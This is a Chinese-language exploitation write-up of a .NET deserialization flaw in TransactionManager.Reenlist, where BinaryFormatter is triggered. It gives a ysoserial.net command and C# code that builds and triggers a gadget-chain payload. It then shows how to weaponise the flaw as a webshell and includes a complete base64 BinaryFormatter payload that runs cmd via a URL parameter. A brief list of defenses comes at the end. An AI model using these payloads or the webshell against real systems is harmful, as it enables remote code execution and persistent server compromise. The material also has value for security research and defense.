.NET 分布式事务反序列化漏洞分析与利用
漏洞概述
本漏洞存在于.NET框架的System.Transactions命名空间中的TransactionManager类,特别是其Reenlist方法。该漏洞允许攻击者通过精心构造的序列化数据实现远程代码执行(RCE),属于反序列化类型的安全漏洞。
漏洞组件分析
TransactionManager 类
TransactionManager类属于System.Transactions命名空间,主要功能包括:
- 协调和管理分布式事务
- 提供事务的创建、提交、回滚等操作
- 允许数据库、消息队列等资源参与到分布式事务中
Reenlist 方法
TransactionManager.Reenlist方法用于在事务处理过程中需要重新注册参与者时调用,确保事务处理的一致性。
方法签名:
public static Enlistment Reenlist(
Guid resourceManagerIdentifier,
byte[] recoveryInformation,
IEnlistmentNotification enlistmentNotification
)
漏洞利用原理
-
反序列化触发点:
Reenlist方法内部最终会调用oletxResourceManager.Reenlist,其中使用了BinaryFormatter进行反序列化操作。 -
数据格式要求:传入的
recoveryInformation字节数组的第一个字节必须为1,否则会提前返回。 -
恶意载荷构造:攻击者可以构造特定的序列化数据,当被反序列化时会执行任意代码。
漏洞利用步骤
1. 生成攻击载荷
使用Ysoserial.Net工具生成基于TextFormattingRunProperties攻击链的payload:
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c "calc"
2. 构造恶意事务数据
byte[] serializedData = Convert.FromBase64String(payload);
byte[] newSerializedData = new byte[serializedData.Length + 5];
serializedData.CopyTo(newSerializedData, 5);
newSerializedData[0] = 1; // 必须设置第一位为1
3. 触发漏洞
TestMe myTransactionEnlistment = new TestMe();
TransactionManager.Reenlist(Guid.NewGuid(), newSerializedData, myTransactionEnlistment);
Webshell利用
该漏洞可被改造为Webshell,实现命令执行功能:
Webshell示例
访问URL格式:
Sharp4TransactionManager.aspx?con=Base64编码的命令
示例命令
启动winver程序的payload:
Sharp4TransactionManager.aspx?con=AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAtQU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIHdpbnZlciIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L
防御措施
-
禁用BinaryFormatter:在应用程序中禁用
BinaryFormatter或限制其使用。 -
输入验证:对所有传入
TransactionManager.Reenlist方法的recoveryInformation数据进行严格验证。 -
更新.NET框架:应用最新的安全补丁。
-
使用替代方案:考虑使用其他事务管理机制,如
TransactionScope。 -
实施最小权限原则:运行应用程序的账户应具有最小必要权限。
总结
该漏洞利用.NET分布式事务处理中的反序列化机制,通过构造恶意的事务恢复数据实现远程代码执行。攻击者可以进一步将其武器化为Webshell,实现持久化访问。防御此类漏洞需要从代码层面和应用架构层面同时采取措施。